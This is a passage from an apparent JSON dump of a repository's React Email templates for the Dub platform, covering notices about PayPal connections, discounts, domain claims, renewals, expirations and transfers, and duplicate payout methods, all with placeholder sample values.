className=\"font-semibold text-black underline underline-offset-4\"\n                >\n                  complete your partner profile\n                </Link>\n                . This will help you stand out from other partners in our\n                partner network.\n              </Text>\n\n              <Text className=\"mb-4 text-sm leading-6 text-gray-600\">\n                <strong className=\"font-medium text-black\">\n                  2. Join a program\n                </strong>\n                : If you haven't already, join an affiliate program and start\n                earning commissions for your referrals\n              </Text>\n\n              <Text className=\"mb-4 text-sm leading-6 text-gray-600\">\n                <strong className=\"font-medium text-black\">\n                  3. Start sharing your links\n                </strong>\n                : Once you've joined a program, you can start sharing and\n                creating additional referral links.\n              </Text>\n\n              <Text className=\"text-sm leading-6 text-gray-600\">\n                <strong className=\"font-medium text-black\">\n                  4. Track your performance\n                </strong>\n                : Monitor traffic and earnings with real-time analytics\n              </Text>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/connected-paypal-account.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ConnectedPaypalAccount({\n  email = \"panic@thedis.co\",\n  paypalEmail = \"user@example.com\",\n}: {\n  email: string;\n  paypalEmail: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Your PayPal account has been successfully connected</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"65\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-800\">\n              Successfully connected PayPal account\n            </Heading>\n\n            <Text className=\"mb-6 text-sm leading-6 text-neutral-600\">\n              Great news! Your PayPal account has been successfully connected to\n              your Dub partner account. You're all set to receive payouts.\n            </Text>\n\n            {/* PayPal Account Details Card */}\n            <Section className=\"mb-6 rounded-lg border border-solid border-neutral-200 bg-neutral-50 p-5\">\n              <Row className=\"mb-4\">\n                <Column align=\"left\">\n                  <Img\n                    src=\"https://assets.dub.co/misc/paypal-wordmark.png\"\n                    width=\"120\"\n                    height=\"30\"\n                    alt=\"PayPal\"\n                    className=\"mb-0\"\n                  />\n                </Column>\n              </Row>\n\n              <Section className=\"mt-4 border-t border-solid border-neutral-200 pt-4\">\n                <Row>\n                  <Column className=\"text-sm font-medium text-neutral-600\">\n                    Account Email\n                  </Column>\n                  <Column className=\"text-right text-sm font-semibold text-neutral-800\">\n                    {paypalEmail}\n                  </Column>\n                </Row>\n              </Section>\n            </Section>\n\n            {/* Action Buttons */}\n            <Section className=\"mb-6\">\n              <Link\n                href=\"https://partners.dub.co/payouts\"\n                className=\"box-border block w-full rounded-md bg-black px-0 py-3 text-center text-sm font-medium leading-none text-white no-underline\"\n              >\n                View payouts dashboard\n              </Link>\n            </Section>\n\n            {/* Next Steps */}\n            <Section>\n              <Text className=\"mb-3 text-base font-semibold text-neutral-800\">\n                What's next?\n              </Text>\n              <Text className=\"mb-4 text-sm leading-6 text-gray-600\">\n                <strong className=\"font-medium text-black\">\n                  1. Complete your partner profile\n                </strong>\n                : If you haven't already,{\" \"}\n                <Link\n                  href=\"https://ship.dub.co/partner-profile\"\n                  className=\"font-semibold text-black underline underline-offset-4\"\n                >\n                  complete your partner profile\n                </Link>\n                . This will help you stand out from other partners in our\n                partner network.\n              </Text>\n\n              <Text className=\"mb-4 text-sm leading-6 text-gray-600\">\n                <strong className=\"font-medium text-black\">\n                  2. Join a program\n                </strong>\n                : If you haven't already, join an affiliate program and start\n                earning commissions for your referrals\n              </Text>\n\n              <Text className=\"mb-4 text-sm leading-6 text-gray-600\">\n                <strong className=\"font-medium text-black\">\n                  3. Start sharing your links\n                </strong>\n                : Once you've joined a program, you can start sharing and\n                creating additional referral links.\n              </Text>\n\n              <Text className=\"text-sm leading-6 text-gray-600\">\n                <strong className=\"font-medium text-black\">\n                  4. Track your performance\n                </strong>\n                : Monitor traffic and earnings with real-time analytics\n              </Text>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/discount-deleted.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function DiscountDeleted({\n  email = \"panic@thedis.co\",\n  coupon = {\n    id: \"jMT0WJUD\",\n  },\n}: {\n  email: string;\n  coupon: {\n    id: string;\n  };\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Discount has been deleted</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-medium text-black\">\n              Discount has been deleted\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-black\">\n              Your discount with Stripe coupon <strong>{coupon.id}</strong> has\n              been deleted.\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-black\">\n              This action also removes the discount association from any\n              partners who were using this discount.\n            </Text>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/domain-claimed.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function DomainClaimed({\n  email = \"panic@thedis.co\",\n  domain = \"dub.link\",\n  workspaceSlug = \"dub\",\n}: {\n  email: string;\n  domain: string;\n  workspaceSlug: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Successfully claimed your .link domain!</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Successfully claimed your .link domain!\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Congratulations! You have successfully claimed your free{\" \"}\n              <code className=\"text-purple-600\">{domain}</code> domain for your\n              Dub workspace{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspaceSlug}`}\n                className=\"font-medium text-blue-600 no-underline\"\n              >\n                {workspaceSlug}↗\n              </Link>\n              .\n            </Text>\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`https://app.dub.co/${workspaceSlug}/settings/domains`}\n              >\n                Manage your domain\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              Once the domain is fully provisioned, you can start creating links\n              with it. This process can take up to 1 hour.\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              If your domain is not active after 1 hour, please reply to this\n              email and we will look into it.\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/domain-deleted.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function DomainDeleted({\n  email = \"panic@thedis.co\",\n  domain = \"dub.sh\",\n  workspaceSlug = \"dub\",\n}: {\n  email: string;\n  domain: string;\n  workspaceSlug: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Domain Deleted</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Domain Deleted\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Your domain <code className=\"text-purple-600\">{domain}</code> for\n              your Dub workspace{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspaceSlug}`}\n                className=\"font-medium text-blue-600 no-underline\"\n              >\n                {workspaceSlug}↗\n              </Link>{\" \"}\n              has been invalid for 30 days. As a result, it has been deleted\n              from Dub.\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              If you would like to restore the domain, you can easily create it\n              again on Dub with the link below.\n            </Text>\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`https://app.dub.co/${workspaceSlug}/settings/domains`}\n              >\n                Add a domain\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              If you don’t plan to keep using this domain on Dub, feel free to\n              ignore this email.\n            </Text>\n            <Footer\n              email={email}\n              notificationSettingsUrl={`https://app.dub.co/${workspaceSlug}/settings/notifications`}\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/domain-expired.tsx",
    "content": "import { DUB_WORDMARK, formatDate, pluralize } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function DomainExpired({\n  email = \"panic@thedis.co\",\n  workspace = {\n    name: \"Acme, Inc\",\n    slug: \"acme\",\n  },\n  domains = [\n    {\n      slug: \"getacme.link\",\n      expiresAt: new Date(\"2025-07-29\"),\n    },\n    {\n      slug: \"example.link\",\n      expiresAt: new Date(\"2025-07-29\"),\n    },\n  ],\n}: {\n  email: string;\n  workspace: {\n    name: string;\n    slug: string;\n  };\n  domains: {\n    slug: string;\n    expiresAt: Date;\n  }[];\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Domain expiration</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] px-5 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 mb-5 mt-10 p-0 text-lg font-semibold text-neutral-800\">\n              Domain expiration\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              The following {pluralize(\"domain\", domains.length)} have expired\n              and are no longer available to use with your workspace{\" \"}\n              <span className=\"font-semibold text-black\">{workspace.name}</span>\n              .\n            </Text>\n\n            <Section>\n              <Row className=\"pb-2\">\n                <Column align=\"left\" className=\"text-sm text-neutral-500\">\n                  Domain\n                </Column>\n                <Column align=\"right\" className=\"text-sm text-neutral-500\">\n                  Expired on\n                </Column>\n              </Row>\n\n              {domains.map((domain, index) => (\n                <div key={index}>\n                  <Row>\n                    <Column align=\"left\" className=\"text-sm font-medium\">\n                      <Link\n                        href={`https://${domain.slug}`}\n                        className=\"font-semibold text-black underline\"\n                      >\n                        {domain.slug}\n                      </Link>\n                    </Column>\n                    <Column\n                      align=\"right\"\n                      className=\"text-sm text-neutral-600\"\n                      suppressHydrationWarning\n                    >\n                      {formatDate(domain.expiresAt)}\n                    </Column>\n                  </Row>\n\n                  {index !== domains.length - 1 && (\n                    <div className=\"my-2 w-full\" />\n                  )}\n                </div>\n              ))}\n            </Section>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              If you own any of these {pluralize(\"domain\", domains.length)}{\" \"}\n              again in the future, you can add them to your workspace anytime in\n              the{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspace.slug}/links/domains`}\n                className=\"font-semibold text-black underline\"\n              >\n                domain settings page\n              </Link>\n              .\n            </Text>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/domain-renewal-failed.tsx",
    "content": "import { DUB_WORDMARK, formatDate, pluralize } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function DomainRenewalFailed({\n  email = \"panic@thedis.co\",\n  workspace = {\n    slug: \"acme\",\n  },\n  domains = [\n    {\n      slug: \"getacme.link\",\n      expiresAt: new Date(\"2025-07-29\"),\n    },\n    {\n      slug: \"example.link\",\n      expiresAt: new Date(\"2025-07-29\"),\n    },\n  ],\n}: {\n  email: string;\n  workspace: {\n    slug: string;\n  };\n  domains: {\n    slug: string;\n    expiresAt: Date;\n  }[];\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Failed domain renewal payment</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] px-5 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 mb-5 mt-10 p-0 text-lg font-semibold text-neutral-800\">\n              Failed domain renewal payment\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              We attempted to charge your card to renew the following{\" \"}\n              {pluralize(\"domain\", domains.length)} but it failed. We will try\n              again in 3 days.\n            </Text>\n\n            <Section className=\"my-8\">\n              <Row className=\"pb-2\">\n                <Column align=\"left\" className=\"text-sm text-neutral-500\">\n                  Domain\n                </Column>\n                <Column align=\"right\" className=\"text-sm text-neutral-500\">\n                  Expires on\n                </Column>\n              </Row>\n\n              {domains.map((domain, index) => (\n                <div key={index}>\n                  <Row>\n                    <Column align=\"left\" className=\"text-sm font-medium\">\n                      <Link\n                        href={`https://${domain.slug}`}\n                        className=\"font-semibold text-black underline\"\n                      >\n                        {domain.slug}\n                      </Link>\n                    </Column>\n                    <Column\n                      align=\"right\"\n                      className=\"text-sm text-neutral-600\"\n                      suppressHydrationWarning\n                    >\n                      {formatDate(domain.expiresAt)}\n                    </Column>\n                  </Row>\n\n                  {index !== domains.length - 1 && (\n                    <div className=\"my-2 w-full\" />\n                  )}\n                </div>\n              ))}\n            </Section>\n\n            <Hr className=\"my-4\" />\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              If you don't want to renew your{\" \"}\n              {pluralize(\"domain\", domains.length)}, turn off auto-renewal in\n              your{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspace.slug}/links/domains`}\n                className=\"font-semibold text-black underline\"\n              >\n                domain settings page\n              </Link>\n              .\n            </Text>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/domain-renewal-reminder.tsx",
    "content": "import { currencyFormatter, DUB_WORDMARK, formatDate } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function DomainRenewalReminder({\n  email = \"panic@thedis.co\",\n  workspace = {\n    slug: \"acme\",\n  },\n  domain = {\n    slug: \"getacme.link\",\n    renewalFee: 1200,\n    expiresAt: new Date(\"2025-08-19\"),\n    reminderWindow: 30,\n    chargeAt: new Date(\"2025-08-05\"),\n    chargeAtInText: \"2 weeks\",\n  },\n}: {\n  email: string;\n  workspace: {\n    slug: string;\n  };\n  domain: {\n    slug: string;\n    expiresAt: Date;\n    renewalFee: number;\n    chargeAt: Date;\n    reminderWindow: number;\n    chargeAtInText: string;\n  };\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Domain renewal reminder</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] px-5 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 mb-5 mt-10 p-0 text-lg font-semibold text-neutral-800\">\n              Domain renewal reminder\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              The domain{\" \"}\n              <Link\n                href={`https://${domain.slug}`}\n                className=\"font-semibold text-black underline\"\n              >\n                {domain.slug}\n              </Link>{\" \"}\n              will renew in {domain.reminderWindow} days on{\" \"}\n              <span className=\"font-semibold text-black\">\n                {formatDate(domain.expiresAt)}\n              </span>\n              . We will attempt to charge your card on file{\" \"}\n              {currencyFormatter(domain.renewalFee)} in {domain.chargeAtInText}{\" \"}\n              on {formatDate(domain.chargeAt)}.\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              If you don't want to renew your domain, you can turn off\n              auto-renewal in your{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspace.slug}/links/domains`}\n                className=\"font-semibold text-black underline\"\n              >\n                domain settings page\n              </Link>\n              .\n            </Text>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/domain-renewed.tsx",
    "content": "import { DUB_WORDMARK, formatDate, pluralize } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function DomainRenewed({\n  email = \"panic@thedis.co\",\n  workspace = {\n    slug: \"acme\",\n  },\n  domains = [\n    {\n      slug: \"getacme.link\",\n    },\n    {\n      slug: \"example.link\",\n    },\n  ],\n  expiresAt = new Date(),\n}: {\n  email: string;\n  workspace: {\n    slug: string;\n  };\n  domains: {\n    slug: string;\n  }[];\n  expiresAt: Date;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Domain{domains.length > 1 ? \"s\" : \"\"} renewed</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] px-5 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 mb-5 mt-10 p-0 text-lg font-semibold text-neutral-800\">\n              Domain{domains.length > 1 ? \"s\" : \"\"} renewed\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              The following {pluralize(\"domain\", domains.length)} have been\n              successfully renewed for 1 year:\n            </Text>\n\n            <Section>\n              {domains.map((domain, index) => (\n                <div key={index}>\n                  <Row>\n                    <Column align=\"left\" className=\"text-sm font-medium\">\n                      <Link\n                        href={`https://${domain.slug}`}\n                        className=\"font-semibold text-black underline\"\n                      >\n                        {domain.slug}\n                      </Link>\n                    </Column>\n                  </Row>\n\n                  {index !== domains.length - 1 && (\n                    <div className=\"my-2 w-full\" />\n                  )}\n                </div>\n              ))}\n            </Section>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              These domains are now active until{\" \"}\n              <span className=\"font-semibold text-black\">\n                {formatDate(expiresAt)}\n              </span>\n              .\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              No further action is needed. If you don't want to renew your\n              domains next year, you can turn off auto-renewal in your{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspace.slug}/settings/domains`}\n                className=\"font-semibold text-black underline\"\n              >\n                domain settings page\n              </Link>\n              .\n            </Text>\n\n            <Section className=\"my-10\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`https://app.dub.co/${workspace.slug}/settings/domains`}\n              >\n                Manage your domains\n              </Link>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/domain-transferred.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\nimport { WorkspaceProps } from \"../types\";\n\nexport default function DomainTransferred({\n  email = \"panic@thedis.co\",\n  domain = \"dub.sh\",\n  newWorkspace = { name: \"Dub\", slug: \"dub\" },\n  linksCount = 50,\n}: {\n  email: string;\n  domain: string;\n  newWorkspace: Pick<WorkspaceProps, \"name\" | \"slug\">;\n  linksCount: number;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Domain Transferred</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Domain Transferred\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Your domain <code className=\"text-purple-600\">{domain}</code>{\" \"}\n              {linksCount > 0 && (\n                <>and its {linksCount > 0 ? linksCount : \"\"} links </>\n              )}\n              has been transferred to the workspace{\" \"}\n              <Link\n                href={`https://app.dub.co/${newWorkspace.slug}/settings/domains`}\n                className=\"font-medium text-blue-600 no-underline\"\n              >\n                {newWorkspace.name}↗\n              </Link>\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/dub-partner-rewind.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function DubPartnerRewind({\n  email = \"panic@thedis.co\",\n}: {\n  email: string;\n}) {\n  return (\n    <Html>\n      <Head>\n        <style>{`\n          @media only screen and (max-width: 600px) {\n            .email-container {\n              padding-left: 16px !important;\n              padding-right: 16px !important;\n            }\n          }\n        `}</style>\n      </Head>\n      <Preview>Your Dub Partner Rewind &rsquo;25 is ready</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"email-container mx-auto my-10 max-w-[600px] px-10 py-5\">\n            <Section className=\"mt-2 text-center\">\n              <Img\n                src={DUB_WORDMARK}\n                width=\"65\"\n                height=\"32\"\n                alt=\"Dub\"\n                style={{\n                  display: \"block\",\n                  margin: \"0 auto\",\n                }}\n              />\n            </Section>\n\n            <Heading className=\"mx-0 mb-2 mt-8 p-0 text-center text-2xl font-semibold text-black\">\n              Your Dub Partner Rewind &rsquo;25 is ready\n            </Heading>\n\n            <Text className=\"mb-8 mt-0 text-center text-base leading-6 text-neutral-600\">\n              2025 was a huge year for partners. Let&rsquo;s rewind to have a\n              <br />\n              look at your impact this year.\n            </Text>\n\n            <Section className=\"mb-8 text-center\">\n              <Link\n                href=\"https://partners.dub.co/rewind/2025\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/misc/partner-rewind-2025/hero.jpg\"\n                  width=\"500\"\n                  height=\"292\"\n                  alt=\"Dub Partner Rewind\"\n                  className=\"mx-auto my-0 block h-auto max-w-full rounded-2xl border border-solid border-neutral-200\"\n                />\n              </Link>\n            </Section>\n\n            <Heading className=\"mx-0 mb-3 mt-0 p-0 text-center text-lg font-semibold text-black\">\n              Just the beginning...\n            </Heading>\n\n            <Text className=\"mx-auto mb-8 mt-0 max-w-[400px] text-center text-sm leading-6 text-neutral-600\">\n              Thank you for all your hard work as a Dub partner. We can&rsquo;t\n              wait to see what you&rsquo;ll do in 2026!\n            </Text>\n\n            <Section className=\"mb-8 text-center\">\n              <Link\n                href=\"https://partners.dub.co/rewind/2025\"\n                className=\"box-border inline-block rounded-lg bg-neutral-900 px-6 py-3 text-center text-sm font-medium text-white no-underline\"\n                style={{\n                  backgroundColor: \"#171717\",\n                  color: \"#ffffff\",\n                  borderRadius: \"8px\",\n                  padding: \"12px 24px\",\n                  textDecoration: \"none\",\n                  display: \"inline-block\",\n                  fontWeight: \"500\",\n                  fontSize: \"14px\",\n                }}\n              >\n                View your rewind\n              </Link>\n            </Section>\n\n            <Section className=\"mx-auto max-w-[400px] text-center\">\n              <Footer email={email} marketing />\n            </Section>\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/duplicate-payout-method.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function DuplicatePayoutMethod({\n  email = \"panic@thedis.co\",\n  payoutMethod = {\n    account_holder_name: \"Brendon Urie\",\n    bank_name: \"BANK OF AMERICA, N.A.\",\n    last4: \"1234\",\n    routing_number: \"1234567890\",\n  },\n}: {\n  email: string;\n  payoutMethod: {\n    account_holder_name: string | null;\n    bank_name: string | null;\n    last4: string;\n    routing_number: string | null;\n  };\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        Your payout method is already connected to another account\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"65\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-800\">\n              Duplicate payout method detected\n            </Heading>\n\n            <Text className=\"mb-6 text-sm leading-6 text-neutral-600\">\n              We've detected that the payout method you're trying to connect is\n              already associated with another Dub partner account,{\" \"}\n              <strong>\n                which is against our{\" \"}\n                <Link\n                  href=\"https://dub.co/legal/partners\"\n                  className=\"font-semibold text-black underline\"\n                >\n                  terms of service\n                </Link>\n                .\n              </strong>\n            </Text>\n\n            {/* Payout Method Details Card */}\n            <Section className=\"mb-6 rounded-lg border border-solid border-neutral-200 bg-neutral-50 p-4 pt-0\">\n              <Text className=\"mb-3 text-sm font-semibold text-neutral-800\">\n                Payout method details\n              </Text>\n\n              {payoutMethod.account_holder_name && (\n                <Row className=\"mb-2\">\n                  <Column className=\"text-sm text-neutral-600\">\n                    Account Holder\n                  </Column>\n                  <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                    {payoutMethod.account_holder_name}\n                  </Column>\n                </Row>\n              )}\n\n              {payoutMethod.bank_name && (\n                <Row className=\"mb-2\">\n                  <Column className=\"text-sm text-neutral-600\">\n                    Bank Name\n                  </Column>\n                  <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                    {payoutMethod.bank_name}\n                  </Column>\n                </Row>\n              )}\n\n              <Row className=\"mb-2\">\n                <Column className=\"text-sm text-neutral-600\">\n                  Account Number\n                </Column>\n                <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                  •••• {payoutMethod.last4}\n                </Column>\n              </Row>\n\n              {payoutMethod.routing_number && (\n                <Row>\n                  <Column className=\"text-sm text-neutral-600\">\n                    Routing Number\n                  </Column>\n                  <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                    {payoutMethod.routing_number}\n                  </Column>\n                </Row>\n              )}\n            </Section>\n\n            {/* What This Means Section */}\n            <Section className=\"mb-6 rounded-lg border border-solid border-blue-200 bg-blue-50 px-4 py-2\">\n              <Text className=\"text-sm font-semibold text-blue-800\">\n                What does this mean?\n              </Text>\n              <Text className=\"text-sm leading-6 text-blue-700\">\n                For security reasons, each payout method can only be connected\n                to one Dub partner account at a time. This helps us prevent\n                fraud and ensure payments reach the correct recipient.\n              </Text>\n            </Section>\n\n            {/* Next Steps */}\n            <Section className=\"mb-4\">\n              <Text className=\"mb-3 text-base font-semibold text-neutral-800\">\n                Next Steps\n              </Text>\n              <Text className=\"mb-3 text-sm leading-6 text-neutral-600\">\n                <strong>1. Check your other accounts:</strong> This payout\n                method might already be connected to another Dub partner account\n                using a different email address.\n              </Text>\n              <Text className=\"mb-3 text-sm leading-6 text-neutral-600\">\n                <strong>2. Merge your partner accounts:</strong> If you have\n                multiple partner accounts and need to consolidate them, we\n                recommend{\" \"}\n                <Link\n                  